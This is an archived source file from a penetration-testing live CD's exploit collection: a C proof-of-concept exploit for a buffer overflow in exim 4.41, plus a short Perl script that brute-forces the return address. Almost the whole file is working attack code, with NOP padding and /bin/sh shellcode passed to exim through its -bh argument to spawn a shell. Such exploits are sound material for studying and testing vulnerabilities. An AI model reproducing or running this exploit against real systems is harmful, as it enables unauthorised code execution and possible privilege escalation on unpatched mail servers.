home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / exim / exim-exploit.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-03-05  |  1.4 KB  |  64 lines

  1. /*
  2.  
  3.  
  4. This proof-of-concept demonstrates the existence of the vulnerability
  5. reported by iDEFENSE (iDEFENSE Security Advisory 01.14.05).
  6. It has been tested against exim-4.41 under Debian GNU/Linux.
  7. Note that setuid () is not included in the shellcode to avoid
  8. script-kidding.
  9. My RET is 0xbffffae4, but fb.pl can brute-force it for you.
  10.  
  11. -----------
  12. Brute Force fb.pl:
  13. -----------
  14.  
  15. #!/usr/bin/perl
  16.  
  17. $cnt = 0xbffffa10;
  18.  
  19. while (1) {
  20.    $hex = sprintf ("0x%x", $cnt);
  21.    $res = system ("./exploit $hex");
  22.    printf "$hex : $res\n";
  23.    $cnt += 4;
  24. }
  25.  
  26. ---------
  27. exploit.c:
  28. ---------
  29. */
  30.  
  31. #define NOP 0x90
  32. #define TAMBUF 368
  33. #define INIC_SH 20
  34. #include <stdlib.h>
  35.  
  36. int main (int argc, char **argv) {
  37.  
  38.    static char shellcode[]=
  39.    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
  40.    "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
  41.    "\x2f\x73\x68\x58";
  42.  
  43.    char buffer [TAMBUF + 1];
  44.    char cadena [TAMBUF + 5];
  45.    int cont;
  46.    unsigned long ret = strtoul (argv[1], NULL, 16);
  47.  
  48.    for (cont = 0; cont < TAMBUF / 4; cont++)
  49.            *( (long *) buffer + cont) = ret;
  50.  
  51.    for (cont = 0; cont < strlen (shellcode); cont++)
  52.            buffer [cont + INIC_SH] = shellcode [cont];
  53.  
  54.    for (cont = 0; cont < INIC_SH; cont++)
  55.            buffer [cont] = NOP;
  56.  
  57.    buffer [TAMBUF] = 0;
  58.    printf ("RET = 0x%x\n", ret);
  59.    strcpy (cadena, "::%A");
  60.    strcat (cadena, buffer);
  61.        execl ("/usr/sbin/exim", "./exim", "-bh", cadena, (char *) 0);
  62. }
  63.  
  64.